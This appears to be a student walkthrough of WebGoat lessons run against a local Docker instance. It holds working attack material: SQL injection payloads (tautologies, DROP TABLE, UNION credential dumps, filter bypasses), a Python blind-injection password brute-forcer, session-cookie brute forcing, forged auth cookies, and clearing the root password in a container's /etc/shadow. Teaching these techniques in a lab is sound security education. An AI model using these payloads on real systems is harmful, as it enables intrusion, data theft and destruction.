# WebGoat
###### Tags: `Information Security` `WebGoat`
## Preparation
All the following commands must be run with root privileges.
Switch to root with the following command:
```
sudo su
```
Then enter your password.
### Install Docker
We will use WebGoat's Docker container to teach.
Before you can use WebGoat's Docker container, you need to install Docker on your system.
Here are the steps to follow:
1. Install the required packages that enable apt to use a repository over HTTPS.
You can do this by running the following command:
```
apt install ca-certificates curl gnupg lsb-release -y
```
2. Add Docker's official GPG key by running the following command:
```
mkdir -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | gpg --dearmor -o /etc/apt/keyrings/docker.gpg
```
3. Set up the Docker repository by running the following command:
```
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
```
4. Update apt to ensure that you have access to the latest packages by running the following command:
```
apt update
```
5. Install Docker by running the following command:
```
apt install docker-ce docker-ce-cli containerd.io docker-compose-plugin -y
```
6. Download and run the WebGoat container from Docker Hub by running the following command:
```
docker run --name webgoat -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
```
### Install Chrome (Optional)
While Firefox can be used as a browser for teaching, we recommend using Chrome.
Here are the steps to install Chrome:
1. Download the Chrome package using the following command:
```
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
```
2. Install Chrome using the following command:
```
apt install -y -f ./google-chrome-stable_current_amd64.deb
```
Once installed, you can find **"Chrome"** in your system as shown below:

### Install Burp
Burp Suite is a web application security testing tool that we will use later in the lessons.
Here are the steps to install it:
1. Copy the following URL to your browser to download the package from the official site:
```
https://portswigger-cdn.net/burp/releases/download?product=community&version=2023.3.5&type=Linux
```
2. Change the file permissions using the following command:
```
cd ./Downloads/
chmod -x burpsuite_community_linux_v2023_3_5.sh
```
3. Start the installer by running the following command:
```
bash burpsuite_community_linux_v2023_3_5.sh
```
4. Click **"Next"** to continue the installation process.

5. Click **"Next"** again.

6. Click **"Next"** again.

7. Wait for the installation process to complete.

8. Click **"Finish"** to complete the installation.

Once installed, you can find **"Burp"** in your system as shown below:

### Enter The Course
To enter the WebGoat webpage, enter the following URL:
```
127.0.0.1:8080/WebGoat
```
You should see the page as shown below:

Click **"or register yourself as a new user"** to register for an account.

After entering your details, click **"Sign up"** to enter the course.

## Introduction
During the teaching process, detailed explanations of each lesson can be found on the WebGoat website, so we will not repeat them here. However, we will guide you through all the steps of the exercise.
Notice: **"Ln."** represents the nth subcourse of the course.
### WebWolf
In this course, you will learn how to use the tools within WebWolf.
To access WebWolf, press the wolf icon in the upper right corner.

WebWolf's page will be shown as follows.

Then click the **"MailBox"** tab, and WebWolf will ask you to log in.
Use the same login account and password as Webgoat.

After logging in, you can use the tools inside.

**L3.**

**Answer:**
Enter the email address to be sent according to the following format.
Replace the **"username"** body with your username.
```
username@webgoat-cloud.net
```

Then press **"Send e-mail"** to send email.

Go to the **"MailBox"** of **"WebWolf"** to confirm the email.
You will see the **"unique code"** in the email message. Copy it.

Go back to WebGoat and submit your answer to pass the quiz.

**L4.**

**Answer:**
Click **"Click here to reset your password"** below.

Enter the password you want to reset and then press **"Save"**.

After that, it will lead you to a blank page, but it doesn't matter.
Go back to WebWolf to check the **"Incoming Requests"**.

Check the latest request.
Through observation, you can see that **"url"** contains **"unique code"**, copy it.

Go back to WebGoat and submit your answer to pass the quiz.

## General
### Developer Tools
In this course, you can learn the related operations of the browser's developer tools.
**L1.** To open Chrome's Developer Tools, press **"Ctrl + Shift + I"** or **"F12"** on your keyboard.

**L2.** Once the Developer Tools are open, you will see the **"Elements"** page where you can check the HTML and CSS, as well as adjust them.

**L3.** On the **"Console"** page, you can call JavaScript functions or perform simple calculations.

**L4.**

**Answer:**
Copy what the prompt says and paste it into the console, as shown in the picture below.

Then you will get a reply.
Copy the value **394265962** from **"output": "phoneHome Response is 394265962"** and paste it into the box.

Finally, click on **"Submit"** to submit your answer. If you see **"Correct!"**, you have passed the quiz.

**L5.** On the page is an explanation about **"Source"** and **"Network"**.

**L6.**

**Answer:**
Press the **"Go!"** button, then you will see the reply on the **"Network"** page, which is "network".

Look at the **"Payload"** of the response **"network"**, the value in **"networkNum"** is what he wants.

Type it into the input box, if it is correct, you will see **"Correct, Well Done."**.

### HTTP Basics
In this lesson, we will cover HTTP basics, including the **"GET"** and **"POST"** methods, and how to inspect HTTP requests and responses.
**L1.** This page explains how **"GET"** and **"POST"** work.

**L2.** In this lesson, we can see that the browser sends a **"POST"** request, and the website responds.

You can see the text you entered in the **"Payload"** of **"attack1"**.

The website's reply can be seen in **"Preview"** or **"Response"**.

**L3.**

**Answer:**
In this lesson, we use **"POST"**, so fill it in the input box.

Now we have a problem. What is a **"magic number"**?
If you're not sure, try clicking on **"Go!"** to see what the website replies.

Now that we know the **"magic number"**, fill it in the input box.
After clicking on **"Go!"**, we will pass the quiz.

### HTTP Proxies
In this lesson, we will learn the concept of proxies and how to use traffic interception tools.
In this tutorial, we'll use Burp to do what Zap does.
First, start Burp and agree to the terms.

Press **"Next"** to continue.

Press **"Next"** again.

You will now be on the main page of Burp.

Press **"Proxy"** on the top menu.

There is a warning message because we used Port:8080 for WebGoat.
Click **"Enable"** to set it to another port.

Click **"Edit"** to change the port number.

Change it to an unused port, such as Port:16384.
Then click **"OK"** to complete the setup.

Then close the settings window.

Now, go back to the Proxy page.
We don't need complicated proxy settings, so just click **"Open Browser"** and operate on it.

Then, enter the webpage of WebGoat in the browser that just opened.

Now, go back to Burp.
You can see all HTTP activity in **"HTTP History"** under **"Proxy"**.

We will now teach you how to intercept HTTP requests, modify them, and resend them.
Go back to the **"Proxy"** page.

Click **"Intercept is Off"** above to intercept the HTTP requests.
After a while, you will see HTTP requests displayed on the page.

Go to the **"HTTP History"** page.
You can see that the intercepted request is a bit different from the others.
Because the request was intercepted, it has not been sent, so there is no reply or status.

You can modify and resend the intercepted HTTP request.
Right-click on the HTTP request you want to modify, and click **"Send to Repeater"**.

Then go to the **"Repeater"** page.
You can see the HTTP request you just intercepted.
You can modify it below, and click **"Send"** above to send it.

**L4.**

**Answer:**
Intercept the request.

Press **"Submit"** on WebGoat.

Go back to the **"HTTP History"** of Burp to find the most recent POST request.

Right-click and press **"Send to Repeater"**.

Now you can make changes to the HTTP request in the **"Repeater"**.

Change as described below:
1. Change the first line to the following.
```
GET /WebGoat/HttpProxies/intercept-request?changeMe=Requests+are+tampered+easily HTTP/1.1
```
2. Delete all words on the last line.
3. Add a new line under the seventh line.
```
x-request-intercepted:true
```
**Notice: There must be more than two blank lines at the end.**
After pressing **"Send"**, see the first line of the server reply **"HTTP/1.1 200 OK"** means success.

Here is another method.
We can make modifications directly on the **"Intercept"** page, but first exclude the internal polling request of WebGoat so that you can find the target easily.
First open **"Proxy Settings"**.

Add a new rule in **"Request Intercept Rules"**.

Add rules according to the following description:
```
Boolean operator: And
Match type: File Extension
Match reslationship: Does not match
Match condition: ^mvc$
```
Then turn off the setting.

Go to WebGoat.

Back to **"Proxy"** page and turn on interception.

Click **"Submit"** on the course page to send a POST request.
You will see that Burp intercepted the request, which is what we want.

The next steps are the same as before.
To modify the HTTP request, refer to the previous steps.
After modifying the request, click **"Forward"** to send it.

In WebGoat, you will see the message **"Well done, you tampered the request as expected"**.

## Broken Access Control
### Hijack a session
This lesson focuses on the concept of session hijacking, which is a common attack technique used by hackers to gain unauthorized access to a user's session in a web application.
Session hijacking can allow an attacker to take over a user's account, gain access to sensitive information, or perform unauthorized actions.
The Intruder module in Burp Suite allows performing various attacks, including dictionary attacks, brute force attacks, and sample-based attacks.
We will explain how to use Intruder through a quiz.
**L2.**

**Answer:**
Without any prior knowledge, we can start by examining the POST request of the login page.
This is the POST request on the login page, which contains input fields for the account and password.

Send POST request to **"Repeater"**.
Press **"Send"** to send and view the result.

After sending, the server replies with a value **"Set-Cookie"**.

Now, let's cancel the interception first.
Press **"Access"** on the WebGoat several times to see the HTTP response.
As shown below, **"hijack_cookie"** is set in the Cookie, and it doesn't change no matter how many times you press **"Access"**.

Next, let's observe the pattern of generating the **"hijack_cookie"**.
Going back to **"Repeater"**, we have a staging of the first POST requests, and we send them a few times to see the pattern.
As shown below.

To start, it is noticeable that the number in the front of **"hijack_cookie"** increases by one, except for the last increment which was by two. The objective is to use the session of an anonymous user, which suggests that the user had logged in during that period.
Based on the hints, it is speculated that the number after **"hijack_cookie"** represents a timestamp. To obtain the **"hijack_cookie"** of an anonymous user, it is necessary to observe the changing digits of the first half of the generated **"hijack_cookie"** to determine the first half of the anonymous user's **"hijack_cookie"**. The second half represents a timestamp, which needs to be subjected to brute force within a specific range based on the time difference between the anonymous user's login before and after.
Now, the brute force process can commence.
To begin, we must identify the target. The first half of **"hijack_cookie"** falls between **"6909980389056118933"** and **"6909980389056118935"**, specifically **"6909980389056118934"**.
As for the second half, it is located between **"1682448125964"** and **"1682448127389"**, necessitating a brute force cracking approach.
Send POST request to Intruder.

Go to **"Intruder"** page.

Press **"Clear"** on the right.
Add our **"hijack_cookie"** to the cookie, and press **"Add"** to frame the part of the timestamp behind **"hijack_cookie"**.

Go to the **"Payload"** page.
Select **"Payload type"** as **"Number"**, then set the range in **"From"** and **"To"**, and finally press **"Start Attack"**.

A prompt appears, press **"OK"**.

There will be results not long after starting the attack, press **"Attack"** in the upper left corner and then press **"Pause"** to pause.

This is what we want.

See **"Congratulations. You have successfully completed the assignment."** means you passed the quiz.

### Insecure Direct Object References
This lesson is about Insecure Direct Object References (IDOR) in web application security.
IDOR occurs when an application allows access to an object, such as a database record or file, without proper authorization or access controls.
Notice: Subsequent courses must be taken sequentially.
**L2.**

**Answer:**
Follow the instructions provided in the topic.

This quiz is completed.

**L3.**

**Answer:**
Click on **"View Profile"** to view visible content.

To view the HTTP request, go to the developer tool. You will see that there are five fields, but only three are visible. Fill in the remaining two fields, **"role, userId"**, in the box.
Then click on **"Submit Diff"** to send the answer.

**L4.**

**Answer:**
Type in anything you want and see what the response is.

Site Reply, which is very similar to viewing a profile.
So we look for the HTTP record of the Profile.
You can know that viewing Profile is to request the URL of **"WebGoat/IDOR/profile"**.

Then you can know from the Profile that the userId is **"2342384"**.

So, the correct answer is **"WebGoat/IDOR/profile/2342384"**.

**L5.**
Find other users' profiles by using Burp.
Set the interrupt, press **"View Profile"** to send HTTP request, and send the intercepted request to **"Intruder"**.

Because we already know the method of directly accessing the user's profile, so accessing other users' profiles only needs to increase or decrease the userId.
Clear all Payloads, change the URL to **"/WebGoat/IDOR/profile/userId"**, and add **"userId"** in the Payload, **"userId"** should be replaced with the one just queried.

Go to the Payload page, and select **"Number"** for **"Payload Type"**, and the number range should not be too large.
Then click on **"Start Attack"**.

This will find the profiles of other users.

Now, we are going to update the profile of other users, and also make a request to the same URL, but the method is not GET but PUT.
Right-click on the HTTP request and click on **"Send to Repeater"**.

Since the title requires updating other users' profiles, we need to change the HTTP request type and send the updated data as part of the HTTP request.
Change it as follows:
1. Change **"GET"** in the first line to **"PUT"**.
2. Change the fifth line to **"Content-Type: application/json"**
3. Change line 20 to the following.
```
{"role":0, "color":"red", "size":"large", "name":"Buffalo Bill", "userId":234238}
```
After sending, seeing **"Well done, you have modified someone else's profile (as displayed below)"** means you passed the quiz.

### Missing Function Level Access Control
This lesson covers the topic of Missing Function Level Access Control (MFLAC) in web application security.
MFLAC is a vulnerability that arises when an application lacks proper access controls to restrict unauthorized access to certain functions or resources.
**L2.**

**Answer:**
According to the title, look for two invisible items in the form below.
Right-click on **"Message"** in the form below, and then chick on **"Inspect"**.

You will see the source code of the webpage displayed on the right, and if you observe it, you can see a **"hidden-menu-item dropdown"** inside.
Expand the html source code of **"hidden-menu-item dropdown"**.

This is the source code of the expanded page.
```
<li class="hidden-menu-item dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">Admin<span class="caret"></span></a>
<ul class="dropdown-menu" aria-labelledby="admin">
<li><a href="/access-control/users">Users</a></li>
<li><a href="/access-control/users-admin-fix">Users</a></li>
<li><a href="/access-control/config">Config</a></li>
</ul>
</li>
```
According to the source code, we can know that the hidden items are **"Users"** and **"Config"**.
That's the answer to this quiz.
**L3.**

**Answer:**
Randomly find an HTTP request from **"HTTP History"**.

Based on this HTTP request, modify it to the following form:
1. Change the first line to **"GET /WebGoat/access-control/users HTTP/1.1"**.
2. Add or modify the **"Content-Type"** line to **"Content-Type: application/json; charset=UTF-8"**.

After sending, you can see Jerry's userHash.
**L4.**

**Answer:**
We directly request to **"/access-control/users-admin-fix"**.
You can see we were rejected.

Looking at the user just now, our user name does not appear on it.

We make a POST request to **"/access-control/users"**, let us also have admin permissions.
Make the following changes based on the GET request just made to **"/access-control/users"**.
1. Change the first line to **"POST /WebGoat/access-control/users HTTP/1.1"**.
2. Change the twentieth line to the following.
```
{ "username" : "userName","password": "userPassword", "admin" : true }
```
**"userName"** and **"userPassword"** need to be replaced with your current WebGoat login account and password.
Look again at all users of **"/access-control/users"**.

You should now be able to access **"/access-control/users-admin-fix"**, make a GET request to it.

You can see the correct hash value inside.
### Spoofing an Authentication Cookie
This lesson will cover the topic of Spoofing an Authentication Cookie in the context of web application security.
Spoofing an Authentication Cookie is a type of attack that allows an attacker to gain unauthorized access to a web application by impersonating a valid user.
**L2.**

**Answer:**
After entering the account password **"webgoat"**, intercept it and send it to **"Repeater"**.

After sending, you can see the value of **"Set-Cookie"** returned by the server.

Add the value of **"Set-Cookie"** to the cookie and send.

Try it out and make some slight changes to **"spoof_auth"**.
Try changing the last two characters **"="** to **"-"**.

The server responded with **"Illegal base64 character 2d"**.
Keep trying to get more information.
This time change the last two characters to **"ww"**.

This time the message is **"Detected a Non-hex character at 35 or 36 position"**.
According to the information given by the server, now we can know that **"spoof_auth"** is encrypted with base64, and it has something to do with hexadecimal.
Let's decode **"spoof_auth"** with base64.

And then treat it as hex to convert it to a string.
You can see that the last five words are reversed **"webgoat"**.

We change the above steps to **"spoof_auth"** of **"admin"** and try again.
Only the results are listed here, and we omit the process.

Here you can get the generation law of **"spoof_auth"**, **"NkrbFyUmmh"** with reversed username, converted to hex and encoded to base64.
Tom's **"spoof_auth"** can be obtained by reverse engineering the following


Got Tom's **"spoof_auth"** as **"NGU2YjcyNjI0Njc5NTU2ZDZkNjg2ZDZmNTQ="**.
Use Tom's **"spoof_auth"** to log in and pass the quiz.

## Cryptographic Failures
### Crypto Basics
This lesson explains different types of cryptography techniques that are commonly used in web applications.
**L2.**

**Answer:**
According to the title, the form before encryption is **"myuser:mypassword"**.
Run the following command to convert base64 back to a string:
```
echo -n "Base64 encoded string" | base64 -d && echo -e "\n"
```

**L3.**

**Answer:**
Search for the keyword Search for the keyword **"websphere application server xor decoder"** in Google.

Click on the first search result, paste the ciphertext of the question to the website to decode it, and you will get the answer.

**L4.**

**Answer:**
Search for the keyword Search for the keyword **"hash database lookup"** in Google.

Click on the first search result, paste the two hashes to the hash database for searching, and you can get the answer.

**L6.**

**Answer:**
Copy the entire private key (including the two lines begin private key and end private key), and then use the following command to write to the file:
```
echo "private key" > private.key
```
The **"private key"** needs to be replaced with the one you just copied.
Use the following command to get modulus:
```
openssl rsa -in private.key -modulus -noout
```
Use the following command to get the signature:
```
openssl dgst -sha256 -sign private.key <(echo -n "$(openssl rsa -in private.key -modulus -noout | cut -d'=' -f2)") | base64
```

**L8.**

**Answer:**
According to the title, we need to pull the target container.
Using the Docker command requires root privileges, enter the following command to switch to root:
```
sudo su
```
Use the following command to pull the container:
```
docker run -d --name=secret webgoat/assignments:findthesecret
```
Now we need to enter the container to find the password file.
Use the following command to enter the container:
```
docker exec -it secret bash
```
Use the following command to enter the target directory:
```
cd /root
```
Then you will see **"Permission Denied"**, so let's try to switch to root permissions.
Use the following command to switch to root privileges:
```
su -
```
He will ask you for a password, but we don't have a root password. This quiz is not as simple as it seems.
Next, we try to change the root password to no password.
What we have to do is as follows:
1. Exit the container by using the following command:
```
exit
```
2. Copy the file used to store the password in the container by using the following command:
```
docker cp secret:/etc/shadow /
```
3. Edit password file by using the following command:
```
nano /shadow
```
4. Change the first line to **"root::17918:0:99999:7:::"**.
5. Close the password file.
6. Copy the modified file back to the container by using the following command:
```
docker cp /shadow secret:/etc
```
Now that we have changed the root password in the container to no password, go into the container to find the password file again.
Go into the container again by using the following command:
```
docker exec -it secret bash
```
Use the following command to switch to root privileges:
```
su -
```
Use the following command to list all files in **"/root"**:
```
ls /root/
```
Use the following command to get the password file information:
```
cat /root/default_secret
```
The obtained password file information is as follows:
```
ThisIsMySecretPassw0rdF0rY0u
```
Use the following command to decrypt:
```
echo "U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=" | openssl enc -aes-256-cbc -d -a -kfile /root/default_secret && echo -e "\n"
```

## Injection
Before we get into SQL Injection, let's review the SQL syntax.
Common SQL commands:
| Command | Syntax | Description |
|---------|-------------------------------|-------------------------------|
| SELECT | SELECT column1, column2, ... FROM table_name; | Selects and displays the specified columns and rows from the specified table. |
| | SELECT column1, column2, ... FROM table_name [WHERE condition] [ORDER BY (CASE WHEN condition THEN column1 ELSE column2 END) ASC/DESC]; | Selects and displays the specified columns and rows from the specified table. The WHERE clause filters the rows that meet the specified conditions, and the ORDER BY clause sorts the result set based on a conditional expression that determines which column to use for sorting. The CASE statement checks the condition and returns column1 if it's true or column2 if it's false. The ASC/DESC keyword specifies whether to sort the result set in ascending or descending order. |
| FROM | FROM table_name | Specifies the table from which to select data. |
| WHERE | WHERE condition | Filters the rows that meet the specified conditions. |
| INSERT | INSERT INTO table_name (column1, column2, ...) VALUES (value1, value2, ...); | Inserts new rows into the specified table. The columns and values must match, and they are separated by commas. |
| UPDATE | UPDATE table_name SET column1 = value1, column2 = value2, ... WHERE condition; | Updates the specified rows in the specified table. The SET keyword specifies the columns and new values to be updated, and the WHERE clause specifies the rows to be updated. |
| DELETE | DELETE FROM table_name WHERE condition; | Deletes the specified rows from the specified table. The WHERE clause specifies which rows to delete. |
| CREATE | CREATE DATABASE database_name; | Creates a new database. |
| | CREATE TABLE table_name (column1 datatype constraint, column2 datatype constraint, ...); | Creates a new table. Each column is specified with its data type and constraint. Multiple columns are separated by commas. |
| ALTER | ALTER TABLE table_name ADD column_name datatype constraint; | Adds a new column to an existing table. The ADD keyword specifies the column name, data type, and constraint. |
| | ALTER TABLE table_name MODIFY column_name datatype constraint; | Modifies an existing column in an existing table. |
| | ALTER TABLE table_name DROP column_name; | Deletes a column from an existing table. |
| DROP | DROP DATABASE database_name; | Deletes an existing database. |
| | DROP TABLE table_name; | Deletes an existing table. |
| GRANT | GRANT privilege_name ON object_name TO user_name; | Grants privileges to a specific user on a specific object. The privilege can be SELECT, INSERT, UPDATE, DELETE, or ALL. The object can be a table, view, or database. |
| UNION | SELECT column1, column2, ... FROM table_name1 UNION SELECT column1, column2, ... FROM table_name2; | Combines the rows from two or more SELECT statements. The columns must match, and they are separated by commas. |
### SQL Injection (intro)
**L2.**

**Answer:**
The following are all valid answers:
```
SELECT department FROM employees WHERE userid = 96134;
SELECT department FROM employees WHERE first_name = 'Bob';
SELECT department FROM employees WHERE last_name = 'Franco';
SELECT department FROM employees WHERE salary = 83700;
SELECT department FROM employees WHERE auth_tan = 'LO9S2V';
```
In fact, there are more, here are just a few, you can try more permutations and combinations.
Anyway, use **"WHERE"** to filter the results.
**L3.**

**Answer:**
The following are all valid answers:
```
UPDATE employees SET department = 'Sales' WHERE first_name = 'Tobi';
UPDATE employees SET department = 'Sales' WHERE last_name = 'Barnett';
```
There are only two answers here, because the information given in the title is only the name.
**L4.**

**Answer:**
The following is answer:
```
ALTER TABLE employees ADD phone varchar(20);
```
Refer to the basic syntax above.
**L5.**

**Answer:**
The following are all valid answers:
```
GRANT ALL ON grant_rights TO unauthorized_user;
GRANT SELECT ON grant_rights TO unauthorized_user;
GRANT INSERT ON grant_rights TO unauthorized_user;
GRANT UPDATE ON grant_rights TO unauthorized_user;
GRANT DELETE ON grant_rights TO unauthorized_user;
```
Give unauthorized_user arbitrary table permissions.
The above are all related to the basic syntax of SQL, and then we will enter SQL injection.
**L6.**
Let's take an example from the lesson to illustrate.
```
SELECT * FROM users WHERE name = ' ';
```
Enter the following different content in single quotes.
1. Type `' OR '1' = '1`
Then, your SQL query will become:
```
SELECT * FROM users WHERE name = '' OR '1' = '1';
```
Here is what the symbols do in the input.
|Syntax |Meaning |
|-------------------|-----------------------------------------------------|
|`'` |Close the input block after the name in advance |
|`OR '1' = '1` |Tautology |
At this time, you may wonder why it is `OR '1' = '1` instead of `OR '1' = '1'` ?
We assume that the input is now `OR '1' = '1'`, the query will become:
```
SELECT * FROM users WHERE name = '' OR '1' = '1'';
```
Because the input block behind the name is closed in advance because you entered a single quote, but the original single quote has not disappeared, so you must make the single quote symmetrical before entering it like this.
Now that the syntax is explained, it's time to explain what this leads to.
**"WHERE"** is a method used to filter data, based on the following conditions to filter, but because of the tautology behind, all data can pass the filter.
2. Type `' OR 1 = 1; --`
Then, your SQL query will become:
```
SELECT * FROM users WHERE name = '' OR 1 = 1; --';
```
Here is what the symbols do in the input.
|Syntax |Meaning |
|-------------------|-----------------------------------------------------|
|`'` |Close the input block after the name in advance |
|`OR 1 = 1` |Tautology |
|`;` |The `;` symbol ends the query line early and comments out the content behind it.|
|`--` |All content after the annotation `--` |
Because SQL uses `;` to judge whether the query has been entered, and to split multiple queries, so it uses this method to end the query line early and comment out the extra characters.
3. Type `'; DROP TABLE users; --`
Then, your SQL query will become:
```
SELECT * FROM users WHERE name = ''; DROP TABLE users; --';
```
Here is what the symbols do in the input.
|Syntax |Meaning |
|-------------------|-----------------------------------------------------|
|`'` |Close the input block after the name in advance |
|`;` |The `;` symbol ends the query line early and comments out the content behind it.|
|`DROP TABLE users;`|Delete table |
|`--` |All content after the annotation `--` |
This operation is also used here, except that there are more query lines for delete the table.
The following exercises are based on these three attacks.
**L9.**

**Answer:**
Below is the query line.
```
SELECT * FROM user_data WHERE first_name = 'John' AND last_name = ' ';
```
There is no `--` in the option, so we use the first method of **L6**.
Both of the following answers hold:
`' OR '1' = '1` or `Smith' OR '1' = '1`
This is the query line after entering.
```
SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '' OR '1' = '1';
SELECT * FROM user_data WHERE first_name = 'John' AND last_name = 'Smith' OR '1' = '1';
```
**L10.**

**Answer:**
As the title says, only one field is vulnerable.
Do SQL injection on the above field first, enter the following string:
`0 OR 1 = 1; --` and `0`
This is the query line after entering.
```
SELECT * From user_data WHERE Login_Count = 0 OR 1 = 1; -- and userid= 0
```
The above fields are immune to SQL injection attacks.
Do the same for the field below, enter the following string:
`0` and `0 OR 1 = 1; --`
This is the query line after entering.
```
SELECT * From user_data WHERE Login_Count = 0 and userid= 0 OR 1 = 1; --
```

**L11.**

**Answer:**
Below is the query line.
```
SELECT * FROM employees WHERE last_name = ' ' AND auth_tan = ' ';
```
Both fields are capable of SQL injection.
Enter the following string to inject:
`' OR 1 = 1; --` and ` `
This is the query line after entering.
```
SELECT * FROM employees WHERE last_name = '' OR 1 = 1; --' AND auth_tan = '';
```
You can also swap it left and right.
` ` and `' OR 1 = 1; --`
```
SELECT * FROM employees WHERE last_name = '' AND auth_tan = '' OR 1 = 1; --';
```

**L12.**

**Answer:**
The query string is the same as last time.
```
SELECT * FROM employees WHERE last_name = ' ' AND auth_tan = ' ';
```
Enter normally first to get the field name.

Next use the third method of **L6** to SQL injection.
Enter the following string to inject:
` ` and `'; UPDATE employees SET SALARY = 100000 WHERE USERID = 37648; --`
This is the query line after entering.
```
SELECT * FROM employees WHERE last_name = '' AND auth_tan = ''; UPDATE employees SET SALARY = 100000 WHERE USERID = 37648; --';
```

**L13.**

**Answer:**
There is no query line this time, and the SQL injection string can be roughly obtained according to the previous exercises.
Enter the following string to inject:
`'; DROP TABLE access_log; --`

### SQL Injection (advanced)
This lesson covers advanced SQL Injection techniques such as UNION and Blind Injection commonly used in web application attacks.
**L3.**

**Answer:**
There are two answers below, one is to use `;` and the other is to use `UNION` to combine query results.
Enter the following string to inject:
`' UNION SELECT userid, user_name, password, cookie, null, null, null FROM user_system_data WHERE 1 = 1; --` or `'; SELECT * FROM user_system_data WHERE 1 = 1; --`
This is the query line after entering.
```
SELECT * FROM user_data WHERE last_name = '' UNION SELECT userid, user_name, password, cookie, null, null, null FROM user_system_data WHERE 1 = 1; --';
SELECT * FROM user_data WHERE last_name = ''; SELECT * FROM user_system_data WHERE 1 = 1; --';
```
UNION can only merge data with the same number of rows and types, but the number of rows in the two data tables is different, so I used `null` to fill.
**L5.**

**Answer:**
First test whether all input fields can be attacked, and enter the following string to inject:
`' OR 1 = 1; --`
After testing, only the user name of the registration page can be injected.
You can see that the webpage reply user already exists.

Let's modify the injected string and change tautology to contradictory formula.

You can see that the website responds to the user being created.
Therefore, we can use this feature to perform SQL Blind Injection.
When the condition is met, the website will reply that the user already exists, if not, it will reply that the user has been created.
First guess the username registered by Tom.

Try to see lowercase.

We know that Tom's username is **"tom"**.
Now try to enumerate the column names of the data table
Use the following injected strings to know the table column names:
`tom' AND LENGTH(username) > 0; --`

`tom' AND LENGTH(userid) > 0; --`

`tom' AND LENGTH(email) > 0; --`

`tom' AND LENGTH(password) > 0; --`

Now you can know that there are **"userid, email, password"** fields in the table.
Next, guess the digits of tom's password.
Consider the following injection:
`tom' AND LENGTH(password) = 0; --`
This will determine whether the number of digits in Tom's password is 0.
So you can use this injection to brute force to get Tom's password digits.



You can know that tom's password is 23 digits.
Next, we explain the principle of cracking the password
Consider the following injection:
`tom' AND SUBSTRING(password, 1, 1) = 'a`
This checks that the first character of tom's password is **"a"**.
When the first character is determined using this method, change the injection to the following (assuming the first character is **"t"**):
`tom' AND SUBSTRING(password, 1, 2) = 'ta`
This checks if the second character of tom's password is **"a"**, since the first one has already been determined.
This method of brute force is not suitable for using Burp, unless you want to do the same steps 23 times, so the following is the python code written according to the steps just now.
```
import requests
def Brute_force(sessionID:str, passwordLength:int) -> None:
url:str = "http://127.0.0.1:8080/WebGoat/SqlInjectionAdvanced/challenge"
password:str = ""
headers:dict = {
"Host": "127.0.0.1:8080",
"Content-Length": "123",
"sec-ch-ua": "\"Not:A-Brand\";v=\"99\", \"Chromium\";v=\"112\"",
"Accept": "*/*",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"sec-ch-ua-mobile": "?0",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36",
"sec-ch-ua-platform": "\"Linux\"",
"Origin": "http://127.0.0.1:8080",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Dest": "empty",
"Referer": "http://127.0.0.1:8080/WebGoat/start.mvc",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Cookie": f"JSESSIONID={sessionID}",
"Connection": "close"
}
for length in range(1, passwordLength + 1, 1):
for letter in "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
data:str = f"username_reg=tom'+AND+SUBSTRING(password%2C+1%2C+{length})+%3D+'{password + letter}&email_reg=test%40gmail.com&password_reg=a&confirm_password_reg=a"
response:requests.models.Response = requests.put(url=url, headers=headers, data=data)
if "already exists" in str(response.content):
password += letter
break
print(password)
print(" ")
print("Tom's password is")
print(password)
if __name__ == "__main__":
sessionID:str = input("Input your session id:")
passwordLength:int = int(input("Input Tom's password length:"))
Brute_force(sessionID, passwordLength)
```
When executing this code, you need to enter your session id and password length, the session id can be found from the cookie.

Then use Tom to log in.

### SQL Injection (mitigation)
This lesson covers writing some simple secure database operations code, bypassing security verification to inject, ORDER BY based injection.
**L5.**

**Answer:**
Copy the following answers line by line into the grid:
```
getConnection
PreparedStatement statement
prepareStatement
?
?
statement.setString(1,"name")
statement.setString(2,"mail")
```
**L6.**

**Answer:**
Because there are some problems in the title, the compilation cannot pass, but the correct answer is still given.
The following is the answer:
```
try {
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
PreparedStatement statement = conn.prepareStatement("SELECT status FROM users WHERE name=? AND mail=?");
statement.setString(1, "name");
statement.setString(2, "mail");
statement.executeUpdate();
} catch (Exception e) {
System.out.println("Oops. Something went wrong!");
}
```

**L9.**

**Answer:**
Let's use the previous answer to see if it works.
`' UNION SELECT userid, user_name, password, cookie, null, null, null FROM user_system_data WHERE 1 = 1; --` or `'; SELECT * FROM user_system_data WHERE 1 = 1; --`

The website responds with **"Using spaces is not allowed!"**. The website filters spaces, but we still have a way to replace spaces with other things.
Replace spaces with full-width.
`' UNION SELECT userid, user_name, password, cookie, null, null, null FROM user_system_data WHERE 1 = 1; --` or `'; SELECT * FROM user_system_data WHERE 1 = 1; --`
Replace spaces with comments.
`'/**/UNION/**/SELECT/**/userid,/**/user_name,/**/password,/**/cookie,/**/null,/**/null,/**/null/**/FROM/**/user_system_data/**/WHERE/**/1/**/=/**/1;/**/--` or `';/**/SELECT/**/*/**/FROM/**/user_system_data/**/WHERE/**/1/**/=/**/1;/**/--`
Both of the above methods are feasible.
**L10.**

**Answer:**
Let's try one of the answers just now.
`';/**/SELECT/**/*/**/FROM/**/user_system_data/**/WHERE/**/1/**/=/**/1;/**/--`

You can see that the **"SELECT, FROM"** of the query line disappeared.
Let's check if they have recursive replacement SQL keywords.
Try changing **"SELECT"** to **"SELSELECTECT"** and **"FROM"** to **"FRFROMOM"**.
